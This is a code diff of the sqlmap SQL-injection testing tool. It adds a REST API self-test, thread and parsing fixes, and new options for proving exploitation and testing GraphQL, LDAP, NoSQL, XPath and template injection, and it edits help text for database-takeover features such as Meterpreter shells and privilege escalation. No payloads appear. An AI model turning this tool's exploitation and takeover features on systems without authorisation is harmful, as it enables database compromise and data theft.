+    process = subprocess.Popen([sys.executable, apipath, "-s", "-H", address, "-p", str(port), "--username", username, "--password", password], stdout=devnull, stderr=devnull)
+
+    base = "http://%s:%d" % (address, port)
+
+    def _call(path, data=None, authorize=True):
+        # NOTE: a raw socket is used deliberately instead of urllib/http.client. The host sqlmap
+        # process installs a global keep-alive opener and patches http.client, which makes a
+        # library client flaky against the single-threaded server; a hand-rolled HTTP/1.0 request
+        # (Connection: close, read to EOF) is hermetic and immune to all of that.
+        method = "POST" if data is not None else "GET"
+        lines = ["%s %s HTTP/1.0" % (method, path), "Host: %s:%d" % (address, port)]
+        if authorize:
+            lines.append("Authorization: Basic %s" % encodeBase64("%s:%s" % (username, password), binary=False))
+        body = getBytes(json.dumps(data)) if data is not None else b""
+        if data is not None:
+            lines.append("Content-Type: application/json")
+            lines.append("Content-Length: %d" % len(body))
+        lines.append("Connection: close")
+        request = getBytes("\r\n".join(lines) + "\r\n\r\n") + body
+
+        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        s.settimeout(10)
+        try:
+            s.connect((address, port))
+            s.sendall(request)
+            raw = b""
+            while True:
+                chunk = s.recv(8192)
+                if not chunk:
+                    break
+                raw += chunk
+        except Exception as ex:
+            logger.debug("API test: request to '%s' failed (%s)" % (path, getSafeExString(ex)))
+            return None, None
+        finally:
+            s.close()
+
+        head, _, payload = raw.partition(b"\r\n\r\n")
+        try:
+            code = int(head.split(b"\r\n")[0].split(b" ")[1])
+        except (IndexError, ValueError):
+            return None, None
+        try:
+            return code, json.loads(getText(payload))
+        except ValueError:
+            return code, None
+
+    try:
+        # wait for the server process to come up (or die trying)
+        for _ in xrange(200):
+            if process.poll() is not None:
+                logger.error("API test: server process exited prematurely (address: '%s')" % base)
+                return False
+            code, data = _call("/version")
+            if code == 200 and data and data.get("success"):
+                break
+            time.sleep(0.1)
+        else:
+            logger.error("API test: server did not come up (address: '%s')" % base)
+            return False
+
+        logger.info("REST API server running at '%s'..." % base)
+
+        results = []
+
+        def _check(name, condition):
+            results.append((name, bool(condition)))
+            if not condition:
+                logger.error("API test: check '%s' FAILED" % name)
+
+        # GET /version - success envelope + MAJOR-only integer api_version
+        code, data = _call("/version")
+        _check("version", code == 200 and data and data.get("success") is True and data.get("api_version") == int(RESTAPI_VERSION.split(".")[0]) and data.get("version"))
+
+        # the auth hook must reject an unauthenticated request
+        code, _ = _call("/version", authorize=False)
+        _check("auth-401", code == 401)
+
+        # GET /task/new - mint a task
+        code, data = _call("/task/new")
+        taskid = data.get("taskid") if data else None
+        _check("task-new", code == 200 and data and data.get("success") and taskid)
+
+        # POST /option/<taskid>/set then read it back via /get and /list (JSON round-trip + IPC)
+        code, data = _call("/option/%s/set" % taskid, {"flushSession": True})
+        _check("option-set", code == 200 and data and data.get("success"))
+
+        code, data = _call("/option/%s/get" % taskid, ["flushSession"])
+        _check("option-get", data and data.get("success") and (data.get("options") or {}).get("flushSession") is True)
+
+        code, data = _call("/option/%s/list" % taskid)
+        _check("option-list", data and data.get("success") and isinstance(data.get("options"), dict))
+
+        # GET /admin/list - the IP-bound listing (our client is the task's creator) must see it
+        code, data = _call("/admin/list")
+        _check("admin-list", data and data.get("success") and taskid in (data.get("tasks") or {}))
+
+        # a bogus task ID must produce a failure envelope (not a crash)
+        code, data = _call("/option/%s/list" % "nonexistent")
+        _check("invalid-task", data is not None and data.get("success") is False)
+
+        # GET /task/<taskid>/delete - tear the task down
+        code, data = _call("/task/%s/delete" % taskid)
+        _check("task-delete", data and data.get("success"))
+
+        if all(ok for _, ok in results):
+            logger.info("API test final result: PASSED")
+        else:
+            retVal = False
+            logger.error("API test final result: FAILED (%s)" % ", ".join(name for name, ok in results if not ok))
+    finally:
+        try:
+            process.terminate()
+            process.wait()
+        except Exception:
+            pass
+
     return retVal
 
 def smokeTest():
@@ -244,7 +452,7 @@ def smokeTest():
     count, length = 0, 0
 
     for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
-        if any(_ in root for _ in ("thirdparty", "extra", "interbase")):
+        if any(_ in root for _ in ("thirdparty", "extra", "interbase", "tests")):
             continue
 
         for filename in files:
@@ -252,7 +460,7 @@ def smokeTest():
                 length += 1
 
     for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
-        if any(_ in root for _ in ("thirdparty", "extra", "interbase")):
+        if any(_ in root for _ in ("thirdparty", "extra", "interbase", "tests")):
             continue
 
         for filename in files:

lib/core/threads.py

@@ -27,7 +27,6 @@ from lib.core.exception import SqlmapThreadException
 from lib.core.exception import SqlmapUserQuitException
 from lib.core.exception import SqlmapValueException
 from lib.core.settings import MAX_NUMBER_OF_THREADS
-from lib.core.settings import PYVERSION
 
 shared = AttribDict()
 
@@ -93,7 +92,7 @@ def getCurrentThreadName():
     Returns current's thread name
     """
 
-    return threading.current_thread().getName()
+    return threading.current_thread().name
 
 def exceptionHandledFunction(threadFunction, silent=False):
     try:
@@ -107,17 +106,14 @@ def exceptionHandledFunction(threadFunction, silent=False):
 
         if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, (SqlmapUserQuitException, SqlmapSkipTargetException)):
             errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex))
-            logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg))
+            logger.error("thread %s: '%s'" % (threading.current_thread().name, errMsg))
 
             if conf.get("verbose") > 1 and not isinstance(ex, SqlmapConnectionException):
                 traceback.print_exc()
 
 def setDaemon(thread):
     # Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation
-    if PYVERSION >= "2.6":
-        thread.daemon = True
-    else:
-        thread.setDaemon(True)
+    thread.daemon = True
 
 def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True):
     threads = []
@@ -213,7 +209,14 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
         if numThreads > 1:
             logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else ""))
         try:
-            while threading.active_count() > 1:
+            while True:
+                alive = False
+                for thread in threads:
+                    if thread.is_alive():
+                        alive = True
+                        break
+                if not alive:
+                    break
                 time.sleep(0.1)
 
         except KeyboardInterrupt:
@@ -226,7 +229,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
     except (SqlmapConnectionException, SqlmapValueException) as ex:
         print()
         kb.threadException = True
-        logger.error("thread %s: '%s'" % (threading.currentThread().getName(), ex))
+        logger.error("thread %s: '%s'" % (threading.current_thread().name, ex))
 
         if conf.get("verbose") > 1 and isinstance(ex, SqlmapValueException):
             traceback.print_exc()
@@ -242,7 +245,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
 
                 kb.threadException = True
                 errMsg = unhandledExceptionMessage()
-                logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg))
+                logger.error("thread %s: %s" % (threading.current_thread().name, errMsg))
                 traceback.print_exc()
 
     finally:

lib/core/update.py

@@ -18,7 +18,6 @@ from lib.core.common import extractRegexResult
 from lib.core.common import getLatestRevision
 from lib.core.common import getSafeExString
 from lib.core.common import openFile
-from lib.core.common import pollProcess
 from lib.core.common import readInput
 from lib.core.convert import getText
 from lib.core.data import conf
@@ -51,7 +50,6 @@ def update():
         output = ""
         try:
             process = subprocess.Popen("pip install -U sqlmap", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH)
-            pollProcess(process, True)
             output, _ = process.communicate()
             success = not process.returncode
         except Exception as ex:
@@ -138,7 +136,6 @@ def update():
         output = ""
         try:
             process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH)
-            pollProcess(process, True)
             output, _ = process.communicate()
             success = not process.returncode
         except Exception as ex:

lib/core/wordlist.py

@@ -87,8 +87,10 @@ class Wordlist(six.Iterator):
                 errMsg += "sure that you haven't made any changes to it"
                 raise SqlmapInstallationException(errMsg)
             except StopIteration:
-                self.adjust()
-                retVal = next(self.iter).rstrip()
+                if self.index > len(self.filenames):  # Note: no more sources (filenames + custom) to switch to
+                    raise
+                self.adjust()  # Note: switch to the next source and retry (gracefully skipping empty ones)
+                continue
             if not self.proc_count or self.counter % self.proc_count == self.proc_id:
                 break
         return retVal

lib/parse/cmdline.py

@@ -133,7 +133,7 @@ def cmdLineParser(argv=None):
             help="Parse target(s) from Burp or WebScarab proxy log file")
 
         target.add_argument("-m", dest="bulkFile",
-            help="Scan multiple targets given in a textual file ")
+            help="Scan multiple targets given in a textual file")
 
         target.add_argument("-r", dest="requestFile",
             help="Load HTTP request from a file")
@@ -276,6 +276,9 @@ def cmdLineParser(argv=None):
         request.add_argument("--skip-urlencode", dest="skipUrlEncode", action="store_true",
             help="Skip URL encoding of payload data")
 
+        request.add_argument("--skip-xmlencode", dest="skipXmlEncode", action="store_true",
+            help="Skip safe encoding of payload data for SOAP/XML")
+
         request.add_argument("--csrf-token", dest="csrfToken",
             help="Parameter used to hold anti-CSRF token")
 
@@ -312,8 +315,9 @@ def cmdLineParser(argv=None):
         optimization.add_argument("--predict-output", dest="predictOutput", action="store_true",
             help="Predict common queries output")
 
-        optimization.add_argument("--keep-alive", dest="keepAlive", action="store_true",
-            help="Use persistent HTTP(s) connections")
+        # Note: persistent (Keep-Alive) connections are used by default; this opts out
+        optimization.add_argument("--no-keep-alive", dest="noKeepAlive", action="store_true",
+            help="Disable persistent HTTP(s) connections (Keep-Alive)")
 
         optimization.add_argument("--null-connection", dest="nullConnection", action="store_true",
             help="Retrieve page length without actual HTTP response body")
@@ -331,7 +335,7 @@ def cmdLineParser(argv=None):
             help="Skip testing for given parameter(s)")
 
         injection.add_argument("--skip-static", dest="skipStatic", action="store_true",
-            help="Skip testing parameters that not appear to be dynamic")
+            help="Skip testing parameters that do not appear to be dynamic")
 
         injection.add_argument("--param-exclude", dest="paramExclude",
             help="Regexp to exclude parameters from testing (e.g. \"ses\")")
@@ -372,6 +376,9 @@ def cmdLineParser(argv=None):
         injection.add_argument("--tamper", dest="tamper",
             help="Use given script(s) for tampering injection data")
 
+        injection.add_argument("--proof", dest="proof", action="store_true",
+            help="Prove exploitation of the detected injection point(s)")
+
         # Detection options
         detection = parser.add_argument_group("Detection", "These options can be used to customize the detection phase")
 
@@ -436,7 +443,7 @@ def cmdLineParser(argv=None):
             help="Load second-order HTTP request from file")
 
         # Fingerprint options
-        fingerprint = parser.add_argument_group("Fingerprint")
+        fingerprint = parser.add_argument_group("Fingerprint", "These options can be used to perform a back-end database management system version fingerprint")
 
         fingerprint.add_argument("-f", "--fingerprint", dest="extensiveFp", action="store_true",
             help="Perform an extensive DBMS version fingerprint")
@@ -493,7 +500,7 @@ def cmdLineParser(argv=None):
             help="Dump DBMS database table entries")
 
         enumeration.add_argument("--dump-all", dest="dumpAll", action="store_true",
-            help="Dump all DBMS databases tables entries")
+            help="Dump entries of all DBMS database tables")
 
         enumeration.add_argument("--search", dest="search", action="store_true",
             help="Search column(s), table(s) and/or database name(s)")
@@ -504,6 +511,9 @@ def cmdLineParser(argv=None):
         enumeration.add_argument("--statements", dest="getStatements", action="store_true",
             help="Retrieve SQL statements being run on DBMS")
 
+        enumeration.add_argument("--procs", dest="getProcs", action="store_true",
+            help="Retrieve stored procedures/functions and their source")
+
         enumeration.add_argument("-D", dest="db",
             help="DBMS database to enumerate")
 
@@ -595,11 +605,10 @@ def cmdLineParser(argv=None):
             help="Prompt for an OOB shell, Meterpreter or VNC")
 
         takeover.add_argument("--os-smbrelay", dest="osSmb", action="store_true",
-            help="One click prompt for an OOB shell, Meterpreter or VNC")
+            help="One-click prompt for an OOB shell, Meterpreter or VNC")
 
         takeover.add_argument("--os-bof", dest="osBof", action="store_true",
-            help="Stored procedure buffer overflow "
-                                 "exploitation")
+            help="Stored procedure buffer overflow exploitation")
 
         takeover.add_argument("--priv-esc", dest="privEsc", action="store_true",
             help="Database process user privilege escalation")
@@ -683,7 +692,7 @@ def cmdLineParser(argv=None):
             help="Store dumped data to a custom file")
 
         general.add_argument("--dump-format", dest="dumpFormat",
-            help="Format of dumped data (CSV (default), HTML or SQLITE)")
+            help="Dump data format (CSV (default), HTML, SQLITE, JSONL)")
 
         general.add_argument("--encoding", dest="encoding",
             help="Character encoding used for data retrieval (e.g. GBK)")
@@ -724,6 +733,9 @@ def cmdLineParser(argv=None):
         general.add_argument("--repair", dest="repair", action="store_true",
             help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR)
 
+        general.add_argument("--report-json", dest="reportJson",
+            help="Store run results to a JSON file")
+
         general.add_argument("--save", dest="saveConfig",
             help="Save options to a configuration INI file")
 
@@ -754,6 +766,24 @@ def cmdLineParser(argv=None):
         general.add_argument("--web-root", dest="webRoot",
             help="Web server document root directory (e.g. \"/var/www\")")
 
+        # Non-SQL injection options
+        nonsql = parser.add_argument_group("Non-SQL injection", "These options can be used to test for non-SQL injection types")
+
+        nonsql.add_argument("--graphql", dest="graphql", action="store_true",
+            help="Test for GraphQL injection")
+
+        nonsql.add_argument("--ldap", dest="ldap", action="store_true",
+            help="Test for LDAP injection")
+
+        nonsql.add_argument("--nosql", dest="nosql", action="store_true",
+            help="Test for NoSQL injection")
+
+        nonsql.add_argument("--xpath", dest="xpath", action="store_true",
+            help="Test for XPath injection")
+
+        nonsql.add_argument("--ssti", dest="ssti", action="store_true",
+            help="Test for server-side template injection")
+
         # Miscellaneous options
         miscellaneous = parser.add_argument_group("Miscellaneous", "These options do not fit into any other category")
 
@@ -776,7 +806,7 @@ def cmdLineParser(argv=None):
             help="Disable hash analysis on table dumps")
 
         miscellaneous.add_argument("--gui", dest="gui", action="store_true",
-            help="Experimental Tkinter GUI")
+            help="Graphical user interface (Tkinter)")
 
         miscellaneous.add_argument("--list-tampers", dest="listTampers", action="store_true",
             help="Display list of available tamper scripts")
@@ -803,7 +833,7 @@ def cmdLineParser(argv=None):
             help="Local directory for storing temporary files")
 
         miscellaneous.add_argument("--tui", dest="tui", action="store_true",
-            help="Experimental ncurses TUI")
+            help="Textual user interface (ncurses)")
 
         miscellaneous.add_argument("--unstable", dest="unstable", action="store_true",
             help="Adjust options for unstable connections")
@@ -839,6 +869,9 @@ def cmdLineParser(argv=None):
         parser.add_argument("--disable-precon", dest="disablePrecon", action="store_true",
             help=SUPPRESS)
 
+        parser.add_argument("--no-huffman", dest="noHuffman", action="store_true",
+            help=SUPPRESS)  # "Disable adaptive (Huffman) set-membership retrieval used by default to speed up blind table dumps"
+
         parser.add_argument("--profile", dest="profile", action="store_true",
             help=SUPPRESS)
 
@@ -857,18 +890,31 @@ def cmdLineParser(argv=None):
         parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true",
             help=SUPPRESS)
 
+        # Experimental: dump table rows via keyset (seek) pagination on a detected indexed
+        # primary key instead of ORDER BY ... LIMIT/OFFSET (much cheaper on huge tables).
+        # --keyset forces it for any table size; --no-keyset disables it (incl. the automatic
+        # use on large tables), falling back to the plain LIMIT/OFFSET dump.
+        parser.add_argument("--keyset", dest="keyset", action="store_true",
+            help=SUPPRESS)
+
+        parser.add_argument("--no-keyset", dest="noKeyset", action="store_true",
+            help=SUPPRESS)
+
         parser.add_argument("--ignore-stdin", dest="ignoreStdin", action="store_true",
             help=SUPPRESS)
 
         parser.add_argument("--non-interactive", dest="nonInteractive", action="store_true",
             help=SUPPRESS)
 
-        parser.add_argument("--smoke-test", dest="smokeTest", action="store_true",
+        parser.add_argument("--smoke-test", "--doc-test", dest="smokeTest", action="store_true",
             help=SUPPRESS)
 
         parser.add_argument("--vuln-test", dest="vulnTest", action="store_true",
             help=SUPPRESS)
 
+        parser.add_argument("--api-test", dest="apiTest", action="store_true",
+            help=SUPPRESS)
+
         parser.add_argument("--disable-json", dest="disableJson", action="store_true",
             help=SUPPRESS)
 
@@ -1123,7 +1169,7 @@ def cmdLineParser(argv=None):
         else:
             args.stdinPipe = None
 
-        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)):
+        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)):
             errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). "
             errMsg += "Use -h for basic and -hh for advanced help\n"
             parser.error(errMsg)

lib/parse/html.py

@@ -27,11 +27,11 @@ class HTMLHandler(ContentHandler):
 
         self._dbms = None
         self._page = (page or "")
+        self._urldecodedPage = urldecode(self._page)
         try:
-            self._lower_page = self._page.lower()
+            self._lowerPage = self._urldecodedPage.lower()  # Note: keyword pre-filter must match the page that re.search() runs on (the URL-decoded one)
         except SystemError:  # https://bugs.python.org/issue18183
-            self._lower_page = None
-        self._urldecoded_page = urldecode(self._page)
+            self._lowerPage = None
 
         self.dbms = None
 
@@ -53,7 +53,7 @@ class HTMLHandler(ContentHandler):
                 keywords = sorted(keywords, key=len)
                 kb.cache.regex[regexp] = keywords[-1].lower()
 
-            if ('|' in regexp or kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp])) and re.search(regexp, self._urldecoded_page, re.I):
+            if ('|' in regexp or kb.cache.regex[regexp] in (self._lowerPage or kb.cache.regex[regexp])) and re.search(regexp, self._urldecodedPage, re.I):
                 self.dbms = self._dbms
                 self._markAsErrorPage()
                 kb.forkNote = kb.forkNote or attrs.get("fork")

lib/parse/sitemap.py

@@ -17,7 +17,7 @@ from thirdparty.six.moves import http_client as _http_client
 
 abortedFlag = None
 
-def parseSitemap(url, retVal=None):
+def parseSitemap(url, retVal=None, visited=None):
     global abortedFlag
 
     if retVal is not None:
@@ -27,6 +27,12 @@ def parseSitemap(url, retVal=None):
         if retVal is None:
             abortedFlag = False
             retVal = OrderedSet()
+            visited = set()
+
+        if url in visited:
+            return retVal
+
+        visited.add(url)
 
         try:
             content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else ""
@@ -34,18 +40,28 @@ def parseSitemap(url, retVal=None):
             errMsg = "invalid URL given for sitemap ('%s')" % url
             raise SqlmapSyntaxException(errMsg)
 
-        for match in re.finditer(r"<loc>\s*([^<]+)", content or ""):
-            if abortedFlag:
-                break
-            url = match.group(1).strip()
-            if url.endswith(".xml") and "sitemap" in url.lower():
-                if kb.followSitemapRecursion is None:
-                    message = "sitemap recursion detected. Do you want to follow? [y/N] "
-                    kb.followSitemapRecursion = readInput(message, default='N', boolean=True)
-                if kb.followSitemapRecursion:
-                    parseSitemap(url, retVal)
-            else:
-                retVal.add(url)
+        if content:
+            content = re.sub(r"<!--.*?-->", "", content, flags=re.DOTALL)  # Note: strip (possibly multi-line) XML comments so commented-out <loc> entries aren't harvested
+
+            for match in re.finditer(r"<\w*?loc[^>]*>\s*([^<]+)", content, re.I):
+                if abortedFlag:
+                    break
+
+                foundUrl = match.group(1).strip()
+
+                # Basic validation to avoid junk
+                if not foundUrl.startswith("http"):
+                    continue
+
+                if foundUrl.endswith(".xml") and "sitemap" in foundUrl.lower():
+                    if kb.followSitemapRecursion is None:
+                        message = "sitemap recursion detected. Do you want to follow? [y/N] "
+                        kb.followSitemapRecursion = readInput(message, default='N', boolean=True)
+
+                    if kb.followSitemapRecursion:
+                        parseSitemap(foundUrl, retVal, visited)
+                else:
+                    retVal.add(foundUrl)
 
     except KeyboardInterrupt:
         abortedFlag = True

lib/request/basic.py

@@ -43,7 +43,8 @@ from lib.core.settings import BLOCKED_IP_REGEX
 from lib.core.settings import DEFAULT_COOKIE_DELIMITER
 from lib.core.settings import EVENTVALIDATION_REGEX
 from lib.core.settings import HEURISTIC_PAGE_SIZE_THRESHOLD
-from lib.core.settings import IDENTYWAF_PARSE_LIMIT
+from lib.core.settings import IDENTYWAF_PARSE_COUNT_LIMIT
+from lib.core.settings import IDENTYWAF_PARSE_PAGE_LIMIT
 from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
 from lib.core.settings import META_CHARSET_REGEX
 from lib.core.settings import PARSE_HEADERS_LIMIT
@@ -234,13 +235,13 @@ def checkCharEncoding(encoding, warn=True):
     # Reference: http://docs.python.org/library/codecs.html
     try:
         codecs.lookup(encoding)
-    except:
+    except LookupError:
         encoding = None
 
     if encoding:
         try:
             six.text_type(getBytes(randomStr()), encoding)
-        except:
+        except (UnicodeDecodeError, LookupError):
             if warn:
                 warnMsg = "invalid web page charset '%s'" % encoding
                 singleTimeLogMessage(warnMsg, logging.WARN, encoding)
@@ -257,10 +258,11 @@ def getHeuristicCharEncoding(page):
 
     >>> getHeuristicCharEncoding(b"<html></html>")
     'ascii'
+    >>> getHeuristicCharEncoding(b'<!DOCTYPE html><html><head><meta charset="windows-1251"><title>\\xd2\\xe5\\xf1\\xf2</title></head><body>\\xc2 \\xf1\\xee\\xee\\xf2\\xe2\\xe5\\xf2\\xf1\\xf2\\xe2\\xe8\\xe8 \\xf1 \\xef\\xf0\\xe8\\xed\\xf6\\xe8\\xef\\xe0\\xec\\xe8 \\xf0\\xe0\\xe1\\xee\\xf2\\xfb \\xf3\\xf2\\xe8\\xeb\\xe8\\xf2\\xfb \\xe0\\xe2\\xf2\\xee\\xec\\xe0\\xf2\\xe8\\xf7\\xe5\\xf1\\xea\\xee\\xe3\\xee \\xee\\xef\\xf0\\xe5\\xe4\\xe5\\xeb\\xe5\\xed\\xe8\\xff \\xea\\xee\\xe4\\xe8\\xf0\\xee\\xe2\\xea\\xe8, \\xed\\xe0\\xec \\xf2\\xf0\\xe5\\xe1\\xf3\\xe5\\xf2\\xf1\\xff \\xef\\xf0\\xe5\\xe4\\xee\\xf1\\xf2\\xe0\\xe2\\xe8\\xf2\\xfc \\xe7\\xed\\xe0\\xf7\\xe8\\xf2\\xe5\\xeb\\xfc\\xed\\xee \\xe1\\xee\\xeb\\xe5\\xe5 \\xe4\\xeb\\xe8\\xed\\xed\\xfb\\xe9 \\xf4\\xf0\\xe0\\xe3\\xec\\xe5\\xed\\xf2 \\xf2\\xe5\\xea\\xf1\\xf2\\xe0 \\xed\\xe0 \\xf0\\xf3\\xf1\\xf1\\xea\\xee\\xec \\xff\\xe7\\xfb\\xea\\xe5. \\xdd\\xf2\\xee \\xed\\xe5\\xee\\xb1\\xf5\\xee\\xe4\\xe8\\xec\\xee \\xe4\\xeb\\xff \\xf2\\xee\\xe3\\xee, \\xf7\\xf2\\xee\\xf1\\xfb \\xf1\\xf2\\xe0\\xf2\\xe8\\xf1\\xf2\\xe8\\xf7\\xe5\\xf1\\xea\\xe8\\xe9 \\xe0\\xed\\xe0\\xeb\\xe8\\xe7\\xe0\\xf2\\xee\\xf0 \\xf7\\xe0\\xf1\\xf2\\xee\\xf2\\xed\\xee\\xf1\\xf2\\xe8 \\xf1\\xe8\\xec\\xe2\\xee\\xeb\\xee\\xe2 \\xe8 \\xe4\\xe2\\xf3\\xf5\\xe1\\xf3\\xea\\xe2\\xe5\\xed\\xed\\xfb\\xf5 \\xf1\\xee\\xf7\\xe5\\xf2\\xe0\\xed\\xe8\\xb9 \\xf1\\xec\\xee\\xe3 \\xf1 \\xe2\\xfb\\xf1\\xee\\xea\\xee\\xb9 \\xf1\\xf2\\xe5\\xef\\xe5\\xed\\xfc\\xf2 \\xf3\\xe2\\xe5\\xf0\\xe5\\xed\\xed\\xee\\xf1\\xf2\\xe8 \\xe7\\xe0\\xf4\\xe8\\xea\\xf1\\xe8\\xf0\\xee\\xe2\\xe0\\xf2\\xfc \\xe8\\xec\\xe5\\xed\\xed\\xee \\xf1\\xf2\\xe0\\xed\\xe4\\xe0\\xf0\\xf2 Windows-1251, \\xe0 \\xed\\xe5 MacCyrillic \\xe8\\xeb\\xe8 ISO-8859-5. \\xd0\\xf3\\xf1\\xf1\\xea\\xe8\\xb9 \\xff\\xe7\\xfb\\xea \\xee\\xe1\\xbb\\xe0\\xe4\\xe0\\xe5\\xf2 \\xf3\\xed\\xe8\\xea\\xe0\\xeb\\xfc\\xed\\xfb\\xec \\xf0\\xe0\\xf1\\xef\\xf0\\xe5\\xe4\\xe5\\xeb\\xe5\\xed\\xe8\\xe5\\xec \\xe3\\xeb\\xe0\\xf1\\xed\\xfb\\xf5 \\xe8 \\xf1\\xee\\xe3\\xeb\\xe0\\xf1\\xed\\xfb\\xf5 \\xe1\\xf3\\xea\\xe2, \\xf2\\xe0\\xea\\xe8\\xf5 \\xea\\xe0\\xea \\xee, \\xe5, \\xe0, \\xe8, \\xed, \\xf2, \\xea\\xee\\xf2\\xee\\xf0\\xfb\\xe5 \\xe2 \\xf0\\xe0\\xe7\\xed\\xfb\\xf5 \\xea\\xee\\xe4\\xee\\xe2\\xfb\\xf5 \\xf1\\xf2\\xf0\\xe0\\xed\\xe8\\xf6\\xe0\\xf5 \\xe7\\xe0\\xed\\xe8\\xec\\xe0\\xf3\\xf2 \\xf1\\xee\\xe2\\xe5\\xf0\\xf8\\xe5\\xed\\xed\\xee \\xf0\\xe0\\xe7\\xed\\xfb\\xe5 \\xef\\xee\\xf7\\xe8\\xf6\\xe8\\xe8 \\xe2 \\xf2\\xe0\\xe1\\xeb\\xe8\\xf6\\xe5 \\xe1\\xe0\\xb9\\xf2\\xee\\xe2. \\xca\\xee\\xe3\\xe4\\xe0 \\xf2\\xe5\\xea\\xf1\\xf2\\xe0 \\xf1\\xf2\\xe0\\xed\\xee\\xe2\\xe8\\xf2\\xf1\\xff \\xe4\\xee\\xf1\\xf2\\xe0\\xf2\\xee\\xf7\\xed\\xee \\xec\\xed\\xee\\xe3\\xee, \\xe2\\xe5\\xf0\\xee\\xff\\xf2\\xed\\xee\\xf1\\xf2\\xfc \\xee\\xf8\\xe8\\xe1\\xea\\xe8 \\xf1\\xed\\xe8\\xe6\\xe0\\xe5\\xf2\\xf1\\xff \\xef\\xf0\\xe0\\xea\\xf2\\xe8\\xf7\\xe5\\xf1\\xea\\xe8 \\xe4\\xee \\xed\\xf3\\xeb\\xff. \\xcc\\xfb \\xe4\\xee\\xe1\\xe0\\xe2\\xeb\\xff\\xe5\\xec \\xe5\\xf9\\xe5 \\xed\\xe5\\xf1\\xea\\xee\\xeb\\xfc\\xea\\xee \\xef\\xf0\\xe5\\xe4\\xeb\\xee\\xe6\\xe5\\xed\\xe8\\xb9, \\xf7\\xf2\\xee\\xf1\\xfb \\xf0\\xe0\\xf1\\xf8\\xe8\\xf0\\xe8\\xf2\\xfc \\xe2\\xfb\\xe1\\xee\\xf0\\xea\\xf3 \\xe4\\xe0\\xed\\xed\\xfb\\xf5 \\xe4\\xeb\\xff \\xea\\xee\\xf0\\xf0\\xe5\\xea\\xf2\\xed\\xee\\xe3\\xee \\xf2\\xe5\\xf1\\xf2\\xe8\\xf0\\xee\\xe2\\xe0\\xed\\xe8\\xff \\xe2\\xe0\\xf8\\xe5\\xb9 \\xe1\\xe8\\xe1\\xeb\\xe8\\xee\\xf2\\xe5\\xea\\xe8 \\xe2 \\xf1\\xf0\\xe5\\xe4\\xe5 Python.</body></html>')
+    'windows-1251'
     """
 
     key = (len(page), hash(page))
-
     retVal = kb.cache.encoding.get(key)
     if retVal is None:
         retVal = detect(page[:HEURISTIC_PAGE_SIZE_THRESHOLD])["encoding"]
@@ -280,6 +282,10 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
     '<html>foo&bar</html>'
     >>> getText(decodePage(b"&#x9;", None, "text/html; charset=utf-8"))
     '\\t'
+    >>> getText(decodePage(b"&#x4A;", None, "text/html; charset=utf-8"))
+    'J'
+    >>> decodePage(b"&#x2122;", None, "text/html; charset=utf-8") == u"\u2122"
+    True
     """
 
     if not page or (conf.nullConnection and len(page) < 2):
@@ -296,6 +302,11 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
             if contentEncoding == "deflate":
                 obj = zlib.decompressobj(-15)
                 page = obj.decompress(page, MAX_CONNECTION_TOTAL_SIZE + 1)
+
+                # catch the deflate bomb before flush() forcefully expands it into RAM
+                if len(page) > MAX_CONNECTION_TOTAL_SIZE:
+                    raise Exception("size too large")
+
                 page += obj.flush()
                 if len(page) > MAX_CONNECTION_TOTAL_SIZE:
                     raise Exception("size too large")
@@ -339,14 +350,13 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
         if not kb.disableHtmlDecoding:
             # e.g. &#x9;&#195;&#235;&#224;&#226;&#224;
             if b"&#" in page:
-                page = re.sub(b"&#x([0-9a-f]{1,2});", lambda _: decodeHex(_.group(1) if len(_.group(1)) == 2 else b"0%s" % _.group(1)), page)
+                page = re.sub(b"(?i)&#x([0-9a-f]{1,2});", lambda _: decodeHex(_.group(1) if len(_.group(1)) == 2 else b"0%s" % _.group(1)), page)
                 page = re.sub(b"&#(\\d{1,3});", lambda _: six.int2byte(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page)
 
             # e.g. %20%28%29
             if percentDecode:
                 if b"%" in page:
-                    page = re.sub(b"%([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), page)
-                    page = re.sub(b"%([0-9A-F]{2})", lambda _: decodeHex(_.group(1)), page)     # Note: %DeepSee_SQL in CACHE
+                    page = re.sub(b"(?i)%([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), page)
 
             # e.g. &amp;
